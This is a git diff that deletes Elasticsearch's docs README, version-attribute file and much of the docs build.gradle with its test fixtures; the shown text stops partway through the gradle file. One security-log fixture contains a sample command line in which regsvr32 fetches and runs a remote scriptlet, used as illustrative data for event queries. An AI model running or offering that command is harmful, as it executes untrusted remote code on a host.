diff --git a/docs/README.asciidoc b/docs/README.asciidoc
deleted file mode 100644
index 3b773a066fb..00000000000
--- a/docs/README.asciidoc
+++ /dev/null
@@ -1,133 +0,0 @@
-The Elasticsearch docs are in AsciiDoc format and can be built using the
-Elasticsearch documentation build process.
-
-See: https://github.com/elastic/docs
-
-=== Backporting doc fixes
-
-* Doc changes should generally be made against master and backported through to the current version
-  (as applicable).  
-  
-* Changes can also be backported to the maintenance version of the previous major version. 
-  This is typically reserved for technical corrections, as it can require resolving more complex
-  merge conflicts, fixing test failures, and figuring out where to apply the change.
-
-* Avoid backporting to out-of-maintenance versions. 
-  Docs follow the same policy as code and fixes are not ordinarily merged to
-  versions that are out of maintenance.
-  
-* Do not backport doc changes to https://www.elastic.co/support/eol[EOL versions]. 
-
-=== Snippet testing
-
-Snippets marked with `[source,console]` are automatically annotated with
-"VIEW IN CONSOLE" and "COPY AS CURL" in the documentation and are automatically
-tested by the command `./gradlew -pdocs check`. To test just the docs from a
-single page, use e.g. `./gradlew -pdocs integTest --tests "\*rollover*"`.
-
-By default each `[source,console]` snippet runs as its own isolated test. You
-can manipulate the test execution in the following ways:
-
-* `// TEST`: Explicitly marks a snippet as a test. Snippets marked this way
-are tests even if they don't have `[source,console]` but usually `// TEST` is
-used for its modifiers:
-  * `// TEST[s/foo/bar/]`: Replace `foo` with `bar` in the generated test. This
-  should be used sparingly because it makes the snippet "lie". Sometimes,
-  though, you can use it to make the snippet more clear. Keep in mind that
-  if there are multiple substitutions then they are applied in the order that
-  they are defined.
-  * `// TEST[catch:foo]`: Used to expect errors in the requests. Replace `foo`
-  with `request` to expect a 400 error, for example. If the snippet contains
-  multiple requests then only the last request will expect the error.
-  * `// TEST[continued]`: Continue the test started in the last snippet. Between
-  tests the nodes are cleaned: indexes are removed, etc. This prevents that
-  from happening between snippets because the two snippets are a single test.
-  This is most useful when you have text and snippets that work together to
-  tell the story of some use case because it merges the snippets (and thus the
-  use case) into one big test.
-      * You can't use `// TEST[continued]` immediately after `// TESTSETUP` or
-      `// TEARDOWN`.
-  * `// TEST[skip:reason]`: Skip this test. Replace `reason` with the actual
-  reason to skip the test. Snippets without `// TEST` or `// CONSOLE` aren't
-  considered tests anyway but this is useful for explicitly documenting the
-  reason why the test shouldn't be run.
-  * `// TEST[setup:name]`: Run some setup code before running the snippet. This
-  is useful for creating and populating indexes used in the snippet. The setup
-  code is defined in `docs/build.gradle`. See `// TESTSETUP` below for a
-  similar feature.
-  * `// TEST[warning:some warning]`: Expect the response to include a `Warning`
-  header. If the response doesn't include a `Warning` header with the exact
-  text then the test fails. If the response includes `Warning` headers that
-  aren't expected then the test fails.
-* `[source,console-result]`: Matches this snippet against the body of the
-  response of the last test. If the response is JSON then order is ignored. If
-  you add `// TEST[continued]` to the snippet after `[source,console-result]`
-  it will continue in the same test, allowing you to interleave requests with
-  responses to check.
-* `// TESTRESPONSE`: Explicitly marks a snippet as a test response even without
-  `[source,console-result]`. Similarly to `// TEST` this is mostly used for
-  its modifiers.
-  * You can't use `[source,console-result]` immediately after `// TESTSETUP`.
-  Instead, consider using `// TEST[continued]` or rearrange your snippets.
-
-  NOTE: Previously we only used `// TESTRESPONSE` instead of
-  `[source,console-result]` so you'll see that a lot in older branches but we
-  prefer `[source,console-result]` now.
-
-  * `// TESTRESPONSE[s/foo/bar/]`: Substitutions. See `// TEST[s/foo/bar]` for
-  how it works. These are much more common than `// TEST[s/foo/bar]` because
-  they are useful for eliding portions of the response that are not pertinent
-  to the documentation.
-    * One interesting difference here is that you often want to match against
-    the response from Elasticsearch. To do that you can reference the "body" of
-    the response like this: `// TESTRESPONSE[s/"took": 25/"took": $body.took/]`.
-    Note the `$body` string. This says "I don't expect that 25 number in the
-    response, just match against what is in the response." Instead of writing
-    the path into the response after `$body` you can write `$_path` which
-    "figures out" the path. This is especially useful for making sweeping
-    assertions like "I made up all the numbers in this example, don't compare
-    them" which looks like `// TESTRESPONSE[s/\d+/$body.$_path/]`.
-  * `// TESTRESPONSE[non_json]`: Add substitutions for testing responses in a
-  format other than JSON. Use this after all other substitutions so it doesn't
-  make other substitutions difficult.
-  * `// TESTRESPONSE[skip:reason]`: Skip the assertions specified by this
-  response.
-* `// TESTSETUP`: Marks this snippet as the "setup" for all other snippets in
-  this file. This is a somewhat natural way of structuring documentation. You
-  say "this is the data we use to explain this feature" then you add the
-  snippet that you mark `// TESTSETUP` and then every snippet will turn into
-  a test that runs the setup snippet first. See the "painless" docs for a file
-  that puts this to good use. This is fairly similar to `// TEST[setup:name]`
-  but rather than the setup defined in `docs/build.gradle` the setup is defined
-  right in the documentation file. In general, we should prefer `// TESTSETUP`
-  over `// TEST[setup:name]` because it makes it more clear what steps have to
-  be taken before the examples will work. Tip: `// TESTSETUP` can only be used
-  on the first snippet of a document.
-* `// TEARDOWN`: Ends and cleans up a test series started with `// TESTSETUP` or
-  `// TEST[setup:name]`. You can use `// TEARDOWN` to set up multiple tests in
-  the same file.
-* `// NOTCONSOLE`: Marks this snippet as neither `// CONSOLE` nor
-  `// TESTRESPONSE`, excluding it from the list of unconverted snippets. We
-  should only use this for snippets that *are* JSON but are *not* responses or
-  requests.
-
-In addition to the standard CONSOLE syntax these snippets can contain blocks
-of yaml surrounded by markers like this:
-
-```
-startyaml
-  - compare_analyzers: {index: thai_example, first: thai, second: rebuilt_thai}
-endyaml
-```
-
-This allows slightly more expressive testing of the snippets. Since that syntax
-is not supported by `[source,console]` the usual way to incorporate it is with a
-`// TEST[s//]` marker like this:
-
-```
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: thai_example, first: thai, second: rebuilt_thai}\nendyaml\n/]
-```
-
-Any place you can use json you can use elements like `$body.path.to.thing`
-which is replaced on the fly with the contents of the thing at `path.to.thing`
-in the last response.
diff --git a/docs/Versions.asciidoc b/docs/Versions.asciidoc
deleted file mode 100644
index b1699b99bdd..00000000000
--- a/docs/Versions.asciidoc
+++ /dev/null
@@ -1,79 +0,0 @@
-
-include::{docs-root}/shared/versions/stack/{source_branch}.asciidoc[]
-
-:lucene_version:        8.7.0
-:lucene_version_path:   8_7_0
-:jdk:                   1.8.0_131
-:jdk_major:             8
-:build_flavor:          default
-:build_type:            tar
-
-:docker-repo:     docker.elastic.co/elasticsearch/elasticsearch
-:docker-image:    {docker-repo}:{version}
-:plugin_url:      https://artifacts.elastic.co/downloads/elasticsearch-plugins
-
-///////
-Javadoc roots used to generate links from Painless's API reference
-///////
-:java11-javadoc: https://docs.oracle.com/en/java/javase/11/docs/api
-:lucene-core-javadoc: https://lucene.apache.org/core/{lucene_version_path}/core
-
-ifeval::["{release-state}"=="unreleased"]
-:elasticsearch-javadoc: https://snapshots.elastic.co/javadoc/org/elasticsearch/elasticsearch/{version}-SNAPSHOT
-:transport-client-javadoc: https://snapshots.elastic.co/javadoc/org/elasticsearch/client/transport/{version}-SNAPSHOT
-:rest-client-javadoc: https://snapshots.elastic.co/javadoc/org/elasticsearch/client/elasticsearch-rest-client/{version}-SNAPSHOT
-:rest-client-sniffer-javadoc: https://snapshots.elastic.co/javadoc/org/elasticsearch/client/elasticsearch-rest-client-sniffer/{version}-SNAPSHOT
-:rest-high-level-client-javadoc: https://snapshots.elastic.co/javadoc/org/elasticsearch/client/elasticsearch-rest-high-level-client/{version}-SNAPSHOT
-:mapper-extras-client-javadoc: https://snapshots.elastic.co/javadoc/org/elasticsearch/plugin/mapper-extras-client/{version}-SNAPSHOT
-:painless-javadoc: https://snapshots.elastic.co/javadoc/org/elasticsearch/painless/lang-painless/{version}-SNAPSHOT
-:parent-join-client-javadoc: https://snapshots.elastic.co/javadoc/org/elasticsearch/plugin/parent-join-client/{version}-SNAPSHOT
-:percolator-client-javadoc: https://snapshots.elastic.co/javadoc/org/elasticsearch/plugin/percolator-client/{version}-SNAPSHOT
-:matrixstats-client-javadoc: https://snapshots.elastic.co/javadoc/org/elasticsearch/plugin/aggs-matrix-stats-client/{version}-SNAPSHOT
-:rank-eval-client-javadoc: https://snapshots.elastic.co/javadoc/org/elasticsearch/plugin/rank-eval-client/{version}-SNAPSHOT
-:version_qualified: {bare_version}-SNAPSHOT
-endif::[]
-
-ifeval::["{release-state}"!="unreleased"]
-:elasticsearch-javadoc: https://artifacts.elastic.co/javadoc/org/elasticsearch/elasticsearch/{version}
-:transport-client-javadoc: https://artifacts.elastic.co/javadoc/org/elasticsearch/client/transport/{version}
-:rest-client-javadoc: https://artifacts.elastic.co/javadoc/org/elasticsearch/client/elasticsearch-rest-client/{version}
-:rest-client-sniffer-javadoc: https://artifacts.elastic.co/javadoc/org/elasticsearch/client/elasticsearch-rest-client-sniffer/{version}
-:rest-high-level-client-javadoc: https://artifacts.elastic.co/javadoc/org/elasticsearch/client/elasticsearch-rest-high-level-client/{version}
-:mapper-extras-client-javadoc: https://snapshots.elastic.co/javadoc/org/elasticsearch/plugin/mapper-extras-client/{version}
-:painless-javadoc: https://artifacts.elastic.co/javadoc/org/elasticsearch/painless/lang-painless/{version}
-:parent-join-client-javadoc: https://artifacts.elastic.co/javadoc/org/elasticsearch/plugin/parent-join-client/{version}
-:percolator-client-javadoc: https://artifacts.elastic.co/javadoc/org/elasticsearch/plugin/percolator-client/{version}
-:matrixstats-client-javadoc: https://artifacts.elastic.co/javadoc/org/elasticsearch/plugin/aggs-matrix-stats-client/{version}
-:rank-eval-client-javadoc: https://artifacts.elastic.co/javadoc/org/elasticsearch/plugin/rank-eval-client/{version}
-:version_qualified: {bare_version}
-endif::[]
-
-:javadoc-client: {rest-high-level-client-javadoc}/org/elasticsearch/client
-:javadoc-xpack: {rest-high-level-client-javadoc}/org/elasticsearch/protocol/xpack
-:javadoc-license: {rest-high-level-client-javadoc}/org/elasticsearch/protocol/xpack/license
-:javadoc-watcher: {rest-high-level-client-javadoc}/org/elasticsearch/protocol/xpack/watcher
-
-///////
-Permanently unreleased branches (master, n.X)
-///////
-ifeval::["{source_branch}"=="master"]
-:permanently-unreleased-branch:
-endif::[]
-ifeval::["{source_branch}"=="{major-version}"]
-:permanently-unreleased-branch:
-endif::[]
-
-///////
-Shared attribute values are pulled from elastic/docs
-///////
-
-include::{docs-root}/shared/attributes.asciidoc[]
-
-///////
-APM does not build n.x documentation. Links from .x branches should point to master instead
-///////
-ifeval::["{source_branch}"=="7.x"]
-:apm-server-ref:       {apm-server-ref-m}
-:apm-server-ref-v:     {apm-server-ref-m}
-:apm-overview-ref-v:   {apm-overview-ref-m}
-endif::[]
diff --git a/docs/build.gradle b/docs/build.gradle
deleted file mode 100644
index 68078d5f5c5..00000000000
--- a/docs/build.gradle
+++ /dev/null
@@ -1,1467 +0,0 @@
-import org.elasticsearch.gradle.info.BuildParams
-
-import static org.elasticsearch.gradle.testclusters.TestDistribution.DEFAULT
-
-/*
- * Licensed to Elasticsearch under one or more contributor
- * license agreements. See the NOTICE file distributed with
- * this work for additional information regarding copyright
- * ownership. Elasticsearch licenses this file to you under
- * the Apache License, Version 2.0 (the "License"); you may
- * not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *    http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing,
- * software distributed under the License is distributed on an
- * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
- * KIND, either express or implied.  See the License for the
- * specific language governing permissions and limitations
- * under the License.
- */
-
-apply plugin: 'elasticsearch.docs-test'
-apply plugin: 'elasticsearch.rest-resources'
-
-/* List of files that have snippets that will not work until platinum tests can occur ... */
-buildRestTests.expectedUnconvertedCandidates = [
-  'reference/ml/anomaly-detection/ml-configuring-transform.asciidoc',
-  'reference/ml/anomaly-detection/apis/delete-calendar-event.asciidoc',
-  'reference/ml/anomaly-detection/apis/get-bucket.asciidoc',
-  'reference/ml/anomaly-detection/apis/get-category.asciidoc',
-  'reference/ml/anomaly-detection/apis/get-influencer.asciidoc',
-  'reference/ml/anomaly-detection/apis/get-job-stats.asciidoc',
-  'reference/ml/anomaly-detection/apis/get-job.asciidoc',
-  'reference/ml/anomaly-detection/apis/get-overall-buckets.asciidoc',
-  'reference/ml/anomaly-detection/apis/get-record.asciidoc',
-  'reference/ml/anomaly-detection/apis/get-snapshot.asciidoc',
-  'reference/ml/anomaly-detection/apis/post-data.asciidoc',
-  'reference/ml/anomaly-detection/apis/revert-snapshot.asciidoc',
-  'reference/ml/anomaly-detection/apis/update-snapshot.asciidoc',
-  'reference/ml/anomaly-detection/apis/update-job.asciidoc'
-]
-
-restResources {
-  restApi {
-    includeCore '*'
-  }
-}
-
-testClusters.integTest {
-  if (singleNode().testDistribution == DEFAULT) {
-    setting 'xpack.license.self_generated.type', 'trial'
-    setting 'indices.lifecycle.history_index_enabled', 'false'
-    if (BuildParams.isSnapshotBuild() == false) {
-      systemProperty 'es.autoscaling_feature_flag_registered', 'true'
-    }
-    setting 'xpack.autoscaling.enabled', 'true'
-    keystorePassword 's3cr3t'
-  }
-
-  // enable regexes in painless so our tests don't complain about example snippets that use them
-  setting 'script.painless.regex.enabled', 'true'
-  setting 'path.repo', "${buildDir}/cluster/shared/repo"
-  Closure configFile = {
-    extraConfigFile it, file("src/test/cluster/config/$it")
-  }
-  configFile 'analysis/example_word_list.txt'
-  configFile 'analysis/hyphenation_patterns.xml'
-  configFile 'analysis/synonym.txt'
-  configFile 'analysis/stemmer_override.txt'
-  configFile 'userdict_ja.txt'
-  configFile 'userdict_ko.txt'
-  configFile 'KeywordTokenizer.rbbi'
-  extraConfigFile 'hunspell/en_US/en_US.aff', project(":server").file('src/test/resources/indices/analyze/conf_dir/hunspell/en_US/en_US.aff')
-  extraConfigFile 'hunspell/en_US/en_US.dic', project(":server").file('src/test/resources/indices/analyze/conf_dir/hunspell/en_US/en_US.dic')
-  // Whitelist reindexing from the local node so we can test it.
-  setting 'reindex.remote.whitelist', '127.0.0.1:*'
-
-  // TODO: remove this once cname is prepended to transport.publish_address by default in 8.0
-  systemProperty 'es.transport.cname_in_publish_address', 'true'
-}
-
-// build the cluster with all plugins
-project.rootProject.subprojects.findAll { it.parent.path == ':plugins' }.each { subproj ->
-  /* Skip repositories. We just aren't going to be able to test them so it
-   * doesn't make sense to waste time installing them. */
-  if (subproj.path.startsWith(':plugins:repository-')) {
-    return
-  }
-  // Do not install ingest-attachment in a FIPS 140 JVM as this is not supported
-  if (subproj.path.startsWith(':plugins:ingest-attachment') && BuildParams.inFipsJvm) {
-    return
-  }
-  testClusters.integTest.plugin subproj.path
-}
-
-buildRestTests.docs = fileTree(projectDir) {
-  // No snippets in here!
-  exclude 'build.gradle'
-  // That is where the snippets go, not where they come from!
-  exclude 'build'
-  // Just syntax examples
-  exclude 'README.asciidoc'
-  // Broken code snippet tests
-  exclude 'reference/graph/explore.asciidoc'
-  if (Boolean.parseBoolean(System.getProperty("tests.fips.enabled"))) {
-    // We don't install/support this plugin in FIPS 140
-    exclude 'plugins/ingest-attachment.asciidoc'
-    // We can't conditionally control output, this would be missing the ingest-attachment plugin
-    exclude 'reference/cat/plugins.asciidoc'
-  }
-}
-
-listSnippets.docs = buildRestTests.docs
-
-Closure setupMyIndex = { String name, int count ->
-  buildRestTests.setups[name] = '''
-  - do:
-        indices.create:
-          index: my-index-000001
-          body:
-            settings:
-              number_of_shards: 1
-              number_of_replicas: 1
-            mappings:
-              properties:
-                "@timestamp":
-                  type: date
-                http:
-                  properties:
-                    request:
-                      properties:
-                        method:
-                          type: keyword
-                message:
-                  type: text
-                user:
-                  properties:
-                    id:
-                      type: keyword
-                      doc_values: true
-  - do:
-        bulk:
-          index: my-index-000001
-          refresh: true
-          body: |'''
-  for (int i = 0; i < count; i++) {
-    String ip, user_id
-    if (i == 0) {
-      ip = '127.0.0.1'
-      user_id = 'kimchy'
-    } else {
-      ip = '10.42.42.42'
-      user_id= 'elkbee'
-    }
-    buildRestTests.setups[name] += """
-            { "index":{"_id": "$i"} }
-            { "@timestamp": "2099-11-15T14:12:12", "http": { "request": { "method": "get" }, "response": { "bytes": 1070000, "status_code": 200 }, "version": "1.1" }, "message": "GET /search HTTP/1.1 200 1070000", "source": { "ip": "$ip" }, "user": { "id": "$user_id" } }"""
-  }
-}
-setupMyIndex('my_index', 5)
-setupMyIndex('my_index_big', 120)
-setupMyIndex('my_index_huge', 1200)
-
-// Used for several full-text search and agg examples
-buildRestTests.setups['messages'] = '''
-  - do:
-        indices.create:
-          index: my-index-000001
-          body:
-            settings:
-              number_of_shards: 1
-              number_of_replicas: 1
-  - do:
-        bulk:
-          index: my-index-000001
-          refresh: true
-          body: |
-            {"index":{"_id": "0"}}
-            {"message": "trying out Elasticsearch"}
-            {"index":{"_id": "1"}}
-            {"message": "some message with the number 1"}
-            {"index":{"_id": "2"}}
-            {"message": "some message with the number 2"}
-            {"index":{"_id": "3"}}
-            {"message": "some message with the number 3"}
-            {"index":{"_id": "4"}}
-            {"message": "some message with the number 4"}'''
-
-// Used for EQL
-buildRestTests.setups['sec_logs'] = '''
-  - do:
-        indices.create:
-          index: my-index-000001
-          body:
-            settings:
-              number_of_shards: 1
-              number_of_replicas: 1
-  - do:
-        bulk:
-          index: my-index-000001
-          refresh: true
-          body: |
-            {"index":{}}
-            {"@timestamp": "2099-12-06T11:04:05.000Z", "event": { "category": "process", "id": "edwCRnyD", "sequence": 1 }, "process": { "pid": 2012, "name": "cmd.exe", "executable": "C:\\\\Windows\\\\System32\\\\cmd.exe" }}
-            {"index":{}}
-            {"@timestamp": "2099-12-06T11:04:07.000Z", "event": { "category": "file", "id": "dGCHwoeS", "sequence": 2 }, "file": { "accessed": "2099-12-07T11:07:08.000Z", "name": "cmd.exe", "path": "C:\\\\Windows\\\\System32\\\\cmd.exe", "type": "file", "size": 16384 }, "process": { "pid": 2012, "name": "cmd.exe", "executable": "C:\\\\Windows\\\\System32\\\\cmd.exe" }}
-            {"index":{}}
-            {"@timestamp": "2099-12-07T11:06:07.000Z", "event": { "category": "process", "id": "cMyt5SZ2", "sequence": 3 }, "process": { "pid": 2012, "name": "cmd.exe", "executable": "C:\\\\Windows\\\\System32\\\\cmd.exe" } }
-            {"index":{}}
-            {"@timestamp": "2099-12-07T11:07:09.000Z", "event": { "category": "process", "id": "aR3NWVOs", "sequence": 4 }, "process": { "pid": 2012, "name": "regsvr32.exe", "command_line": "regsvr32.exe  /s /u /i:https://...RegSvr32.sct scrobj.dll", "executable": "C:\\\\Windows\\\\System32\\\\regsvr32.exe" }}
-            {"index":{}}
-            {"@timestamp": "2099-12-07T11:07:10.000Z", "event": { "category": "file", "id": "tZ1NWVOs", "sequence": 5 }, "process": { "pid": 2012, "name": "regsvr32.exe", "executable": "C:\\\\Windows\\\\System32\\\\regsvr32.exe" }, "file": { "path": "C:\\\\Windows\\\\System32\\\\scrobj.dll", "name": "scrobj.dll" }}
-            {"index":{}}
-            {"@timestamp": "2099-12-07T11:07:10.000Z", "event": { "category": "process", "id": "GTSmSqgz0U", "sequence": 6, "type": "termination" }, "process": { "pid": 2012, "name": "regsvr32.exe", "executable": "C:\\\\Windows\\\\System32\\\\regsvr32.exe" }}'''
-
-buildRestTests.setups['host'] = '''
-  # Fetch the http host. We use the host of the master because we know there will always be a master.
-  - do:
-      cluster.state: {}
-  - set: { master_node: master }
-  - do:
-      nodes.info:
-        metric: [ http, transport ]
-  - set: {nodes.$master.http.publish_address: host}
-  - set: {nodes.$master.transport.publish_address: transport_host}
-'''
-
-buildRestTests.setups['node'] = '''
-  # Fetch the node name. We use the host of the master because we know there will always be a master.
-  - do:
-      cluster.state: {}
-  - is_true: master_node
-  - set: { master_node: node_name }
-'''
-
-// Used by scripted metric docs
-buildRestTests.setups['ledger'] = '''
-  - do:
-        indices.create:
-          index: ledger
-          body:
-            settings:
-              number_of_shards: 2
-              number_of_replicas: 1
-            mappings:
-              properties:
-                type:
-                  type: keyword
-                amount:
-                  type: double
-  - do:
-        bulk:
-          index: ledger
-          refresh: true
-          body: |
-            {"index":{}}
-            {"date": "2015/01/01 00:00:00", "amount": 200, "type": "sale", "description": "something"}
-            {"index":{}}
-            {"date": "2015/01/01 00:00:00", "amount": 10, "type": "expense", "description": "another thing"}
-            {"index":{}}
-            {"date": "2015/01/01 00:00:00", "amount": 150, "type": "sale", "description": "blah"}
-            {"index":{}}
-            {"date": "2015/01/01 00:00:00", "amount": 50, "type": "expense", "description": "cost of blah"}
-            {"index":{}}
-            {"date": "2015/01/01 00:00:00", "amount": 50, "type": "expense", "description": "advertisement"}'''
-
-// Used by aggregation docs
-buildRestTests.setups['sales'] = '''
-  - do:
-        indices.create:
-          index: sales
-          body:
-            settings:
-              number_of_shards: 2
-              number_of_replicas: 1
-            mappings:
-              properties:
-                type:
-                  type: keyword
-  - do:
-        bulk:
-          index: sales
-          refresh: true
-          body: |
-            {"index":{}}
-            {"date": "2015/01/01 00:00:00", "price": 200, "promoted": true, "rating": 1, "type": "hat"}
-            {"index":{}}
-            {"date": "2015/01/01 00:00:00", "price": 200, "promoted": true, "rating": 1, "type": "t-shirt"}
-            {"index":{}}
-            {"date": "2015/01/01 00:00:00", "price": 150, "promoted": true, "rating": 5, "type": "bag"}
-            {"index":{}}
-            {"date": "2015/02/01 00:00:00", "price": 50, "promoted": false, "rating": 1, "type": "hat"}
-            {"index":{}}
-            {"date": "2015/02/01 00:00:00", "price": 10, "promoted": true, "rating": 4, "type": "t-shirt"}
-            {"index":{}}
-            {"date": "2015/03/01 00:00:00", "price": 200, "promoted": true, "rating": 1, "type": "hat"}
-            {"index":{}}
-            {"date": "2015/03/01 00:00:00", "price": 175, "promoted": false, "rating": 2, "type": "t-shirt"}'''
-
-// Used by cumulative cardinality aggregation docs
-buildRestTests.setups['user_hits'] = '''
-  - do:
-        indices.create:
-          index: user_hits
-          body:
-            settings:
-              number_of_shards: 1
-              number_of_replicas: 0
-            mappings:
-              properties:
-                user_id:
-                  type: keyword
-                timestamp:
-                  type: date
-  - do:
-        bulk:
-          index: user_hits
-          refresh: true
-          body: |
-            {"index":{}}
-            {"timestamp": "2019-01-01T13:00:00", "user_id": "1"}
-            {"index":{}}
-            {"timestamp": "2019-01-01T13:00:00", "user_id": "2"}
-            {"index":{}}
-            {"timestamp": "2019-01-02T13:00:00", "user_id": "1"}
-            {"index":{}}
-            {"timestamp": "2019-01-02T13:00:00", "user_id": "3"}
-            {"index":{}}
-            {"timestamp": "2019-01-03T13:00:00", "user_id": "1"}
-            {"index":{}}
-            {"timestamp": "2019-01-03T13:00:00", "user_id": "2"}
-            {"index":{}}
-            {"timestamp": "2019-01-03T13:00:00", "user_id": "4"}'''
-
-
-// Fake bank account data used by getting-started.asciidoc
-buildRestTests.setups['bank'] = '''
-  - do:
-        indices.create:
-          index: bank
-          body:
-            settings:
-              number_of_shards: 5
-              number_of_routing_shards: 5
-  - do:
-        bulk:
-          index: bank
-          refresh: true
-          body: |
-#bank_data#
-'''
-/* Load the actual accounts only if we're going to use them. This complicates
- * dependency checking but that is a small price to pay for not building a
- * 400kb string every time we start the build. */
-File accountsFile = new File("$projectDir/src/test/resources/accounts.json")
-buildRestTests.inputs.file(accountsFile)
-buildRestTests.doFirst {
-  String accounts = accountsFile.getText('UTF-8')
-  // Indent like a yaml test needs
-  accounts = accounts.replaceAll('(?m)^', '            ')
-  buildRestTests.setups['bank'] =
-    buildRestTests.setups['bank'].replace('#bank_data#', accounts)
-}
-
-// Used by sampler and diversified-sampler aggregation docs
-buildRestTests.setups['stackoverflow'] = '''
-  - do:
-        indices.create:
-          index: stackoverflow
-          body:
-            settings:
-              number_of_shards: 1
-              number_of_replicas: 1
-            mappings:
-              properties:
-                author:
-                  type: keyword
-                tags:
-                  type: keyword
-  - do:
-        bulk:
-          index: stackoverflow
-          refresh: true
-          body: |'''
-
-// Make Kibana strongly connected to elasticsearch and logstash
-// Make Kibana rarer (and therefore higher-ranking) than JavaScript
-// Make JavaScript strongly connected to jquery and angular
-// Make Cabana strongly connected to elasticsearch but only as a result of a single author
-
-for (int i = 0; i < 150; i++) {
-  buildRestTests.setups['stackoverflow'] += """
-            {"index":{}}
-            {"author": "very_relevant_$i", "tags": ["elasticsearch", "kibana"]}"""
-}
-for (int i = 0; i < 50; i++) {
-  buildRestTests.setups['stackoverflow'] += """
-            {"index":{}}
-            {"author": "very_relevant_$i", "tags": ["logstash", "kibana"]}"""
-}
-for (int i = 0; i < 200; i++) {
-  buildRestTests.setups['stackoverflow'] += """
-            {"index":{}}
-            {"author": "partially_relevant_$i", "tags": ["javascript", "jquery"]}"""
-}
-for (int i = 0; i < 200; i++) {
-  buildRestTests.setups['stackoverflow'] += """
-            {"index":{}}
-            {"author": "partially_relevant_$i", "tags": ["javascript", "angular"]}"""
-}
-for (int i = 0; i < 50; i++) {
-  buildRestTests.setups['stackoverflow'] += """
-            {"index":{}}
-            {"author": "noisy author", "tags": ["elasticsearch", "cabana"]}"""
-}
-buildRestTests.setups['stackoverflow'] += """
-"""
-// Used by significant_text aggregation docs
-buildRestTests.setups['news'] = '''
-  - do:
-        indices.create:
-          index: news
-          body:
-            settings:
-              number_of_shards: 1
-              number_of_replicas: 1
-            mappings:
-              properties:
-                source:
-                  type: keyword
-                content:
-                  type: text
-  - do:
-        bulk:
-          index: news
-          refresh: true
-          body: |'''
-
-// Make h5n1 strongly connected to bird flu
-
-for (int i = 0; i < 100; i++) {
-  buildRestTests.setups['news'] += """
-            {"index":{}}
-            {"source": "very_relevant_$i", "content": "bird flu h5n1"}"""
-}
-for (int i = 0; i < 100; i++) {
-  buildRestTests.setups['news'] += """
-            {"index":{}}
-            {"source": "filler_$i", "content": "bird dupFiller "}"""
-}
-for (int i = 0; i < 100; i++) {
-  buildRestTests.setups['news'] += """
-            {"index":{}}
-            {"source": "filler_$i", "content": "flu dupFiller "}"""
-}
-for (int i = 0; i < 20; i++) {
-  buildRestTests.setups['news'] += """
-            {"index":{}}
-            {"source": "partially_relevant_$i", "content": "elasticsearch dupFiller dupFiller dupFiller dupFiller pozmantier"}"""
-}
-for (int i = 0; i < 10; i++) {
-  buildRestTests.setups['news'] += """
-            {"index":{}}
-            {"source": "partially_relevant_$i", "content": "elasticsearch logstash kibana"}"""
-}
-buildRestTests.setups['news'] += """
-"""
-
-// Used by some aggregations
-buildRestTests.setups['exams'] = '''
-  - do:
-        indices.create:
-          index: exams
-          body:
-            settings:
-              number_of_shards: 1
-              number_of_replicas: 1
-            mappings:
-              properties:
-                grade:
-                  type: byte
-  - do:
-        bulk:
-          index: exams
-          refresh: true
-          body: |
-            {"index":{}}
-            {"grade": 100, "weight": 2}
-            {"index":{}}
-            {"grade": 50, "weight": 3}'''
-
-buildRestTests.setups['stored_example_script'] = '''
-  # Simple script to load a field. Not really a good example, but a simple one.
-  - do:
-      put_script:
-        id: "my_script"
-        body: { "script": { "lang": "painless", "source": "doc[params.field].value" } }
-  - match: { acknowledged: true }
-'''
-
-buildRestTests.setups['stored_scripted_metric_script'] = '''
-  - do:
-      put_script:
-        id: "my_init_script"
-        body: { "script": { "lang": "painless", "source": "state.transactions = []" } }
-  - match: { acknowledged: true }
-
-  - do:
-      put_script:
-        id: "my_map_script"
-        body: { "script": { "lang": "painless", "source": "state.transactions.add(doc.type.value == 'sale' ? doc.amount.value : -1 * doc.amount.value)" } }
-  - match: { acknowledged: true }
-
-  - do:
-      put_script:
-        id: "my_combine_script"
-        body: { "script": { "lang": "painless", "source": "double profit = 0;for (t in state.transactions) { profit += t; } return profit" } }
-  - match: { acknowledged: true }
-
-  - do:
-      put_script:
-        id: "my_reduce_script"
-        body: { "script": { "lang": "painless", "source": "double profit = 0;for (a in states) { profit += a; } return profit" } }
-  - match: { acknowledged: true }
-'''
-
-// Used by analyze api
-buildRestTests.setups['analyze_sample'] = '''
-  - do:
-        indices.create:
-          index: analyze_sample
-          body:
-            settings:
-              number_of_shards: 1
-              number_of_replicas: 0
-              analysis:
-                normalizer:
-                  my_normalizer:
-                    type: custom
-                    filter: [lowercase]
-            mappings:
-              properties:
-                obj1.field1:
-                  type: text'''
-
-// Used by percentile/percentile-rank aggregations
-buildRestTests.setups['latency'] = '''
-  - do:
-        indices.create:
-          index: latency
-          body:
-            settings:
-              number_of_shards: 1
-              number_of_replicas: 1
-            mappings:
-              properties:
-                load_time:
-                  type: long
-  - do:
-        bulk:
-          index: latency
-          refresh: true
-          body: |'''
-
-
-for (int i = 0; i < 100; i++) {
-  def value = i
-  if (i % 10) {
-    value = i * 10
-  }
-  buildRestTests.setups['latency'] += """
-            {"index":{}}
-            {"load_time": "$value"}"""
-}
-
-// Used by t_test aggregations
-buildRestTests.setups['node_upgrade'] = '''
-  - do:
-        indices.create:
-          index: node_upgrade
-          body:
-            settings:
-              number_of_shards: 1
-              number_of_replicas: 1
-            mappings:
-              properties:
-                group:
-                  type: keyword
-                startup_time_before:
-                  type: long
-                startup_time_after:
-                  type: long
-  - do:
-        bulk:
-          index: node_upgrade
-          refresh: true
-          body: |
-            {"index":{}}
-            {"group": "A", "startup_time_before": 102, "startup_time_after": 89}
-            {"index":{}}
-            {"group": "A", "startup_time_before": 99, "startup_time_after": 93}
-            {"index":{}}
-            {"group": "A", "startup_time_before": 111, "startup_time_after": 72}
-            {"index":{}}
-            {"group": "B", "startup_time_before": 97, "startup_time_after": 98}
-            {"index":{}}
-            {"group": "B", "startup_time_before": 101, "startup_time_after": 102}
-            {"index":{}}
-            {"group": "B", "startup_time_before": 99, "startup_time_after": 98}'''
-
-// Used by iprange agg
-buildRestTests.setups['iprange'] = '''
-  - do:
-        indices.create:
-          index: ip_addresses
-          body:
-            settings:
-              number_of_shards: 1
-              number_of_replicas: 1
-            mappings:
-              properties:
-                ip:
-                  type: ip
-  - do:
-        bulk:
-          index: ip_addresses
-          refresh: true
-          body: |'''
-
-
